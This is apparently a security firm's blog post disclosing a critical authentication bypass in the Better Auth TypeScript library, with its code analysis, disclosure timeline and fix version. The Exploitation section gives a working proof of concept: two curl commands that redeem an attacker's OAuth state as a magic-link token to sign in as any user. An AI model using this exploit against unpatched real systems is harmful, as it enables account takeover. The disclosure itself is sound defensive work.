Book a call Start a run

V12 Found a Critical Bug in Better Auth

Better Auth kept OAuth state and magic-link tokens in the same table, so an attacker could redeem their own OAuth state as a magic-link token and sign in as any user. Fixed in Better Auth 1.7.7.

Rick de JagerV12 Rick de Jager, V12

We reported a critical CVSS 9.1 bug in Better Auth that would allow a malicious attacker to authenticate as any account if both the OAuth and magic-link plugins were enabled with their default settings. This issue was fixed in Better Auth version 1.7.7. A CVE is currently still pending.

Introduction

Better Auth is an open source authentication library for TypeScript. It is currently one of the most popular open source authentication libraries and receives 9.5 million downloads per week on NPM and was recently acquired by Vercel.

Using a critical vulnerability we discovered, an attacker could authenticate as any user of their choosing.

The Bug

Better Auth stores magic-link tokens and OAuth state in the same verification table without purpose-specific prefixes. The magic-link flow consumes a row by token and trusts the stored email:

const storedToken = await storeToken(ctx, token);
const tokenValue =
await ctx.context.internalAdapter.consumeVerificationValue(storedToken);
const { email, name } = JSON.parse(tokenValue.value);
const user = await ctx.context.internalAdapter.findUserByEmail(email);

The OAuth state is stored in the same keyspace using the raw state as its identifier:

await c.context.internalAdapter.createVerificationValue({
value: JSON.stringify({ ...stateData, oauthState: state }),
identifier: state,
expiresAt,
});

The /sign-in/social endpoint, used to generate new social signing requests, accepts an arbitrary additionalData object, which is later spread into the stored OAuth state.

const stateData = {
...(options?.additionalData ? options.additionalData : {}),
callbackURL,
codeVerifier,
// ...
};

An attacker can start a social sign in and include the victim’s email in additionalData. They can then take the returned OAuth state from the returned URL, and turn around and submit it to /magic-link/verify as a Magic-Link token.

This will make Magic-Link treat the OAuth state value as if it were a Magic-Link token and issue a session for the victim.

Exploitation

We chose to include the full exploit here, since our belief is that in the age of LLMs, actual malicious attackers can simply automatically generate the exploit from the patch, and giving a clear explanation here can be beneficial for defenders to write detections.

We’re assuming the Next.js auth example with a small patch to enable magic link:

diff --git a/demo/nextjs/lib/auth.ts b/demo/nextjs/lib/auth.ts
--- a/demo/nextjs/lib/auth.ts
+++ b/demo/nextjs/lib/auth.ts
@@ -18,6 +18,7 @@ import {
deviceAuthorization,
jwt,
lastLoginMethod,
+ magicLink,
multiSession,
oAuthProxy,
oneTap,
@@ -210,6 +211,13 @@ const authOptions = {
},
},
plugins: [
+ magicLink({
+ async sendMagicLink({ email, url }) {
+ console.log(`[magic-link] ${email} -> ${url}`);
+ },
+ }),
organization({
async sendInvitationEmail(data) {
await sendEmail({

An attacker trying to forge a session for [email protected] needs to do the following steps:

First, generate a new GitHub auth request with additionalData:

Terminal window
curl -s -X POST http://localhost:3200/api/auth/sign-in/social \
-H 'content-type: application/json' \
-d '{"provider":"github","callbackURL":"/","disableRedirect":true,
"additionalData":{"email":"[email protected]","name":"victim"}}'

The response contains an attacker-readable state token:

{
"url": "https://github.com/login/oauth/authorize?...&state=6d8fAXTr4juhYjRcLY9EnROB4I4GqFAp&...",
"redirect": false
}

The attacker then takes the token from the response and redeems it as a magic link token. This will return a new session, thus logging the attacker in:

Terminal window
curl -si 'http://localhost:3200/api/auth/magic-link/verify?token=6d8fAXTr4juhYjRcLY9EnROB4I4GqFAp'

Importantly, the third-party OAuth provider is never interacted with, as we only need to extract the token from the callback URL that we receive from Better Auth.

Disclosure Timeline

September 7, 2026: The bug was reported to Better Auth.

September 10, 2026: Initial (automated) triage.

September 24, 2026: The GHSA was accepted.

October 1, 2026: Better Auth 1.7.7 was released to address the vulnerabilities.

References

Github Security Advisory: https://github.com/better-auth/better-auth/security/advisories/GHSA-965c-763c-88jm

Type to search.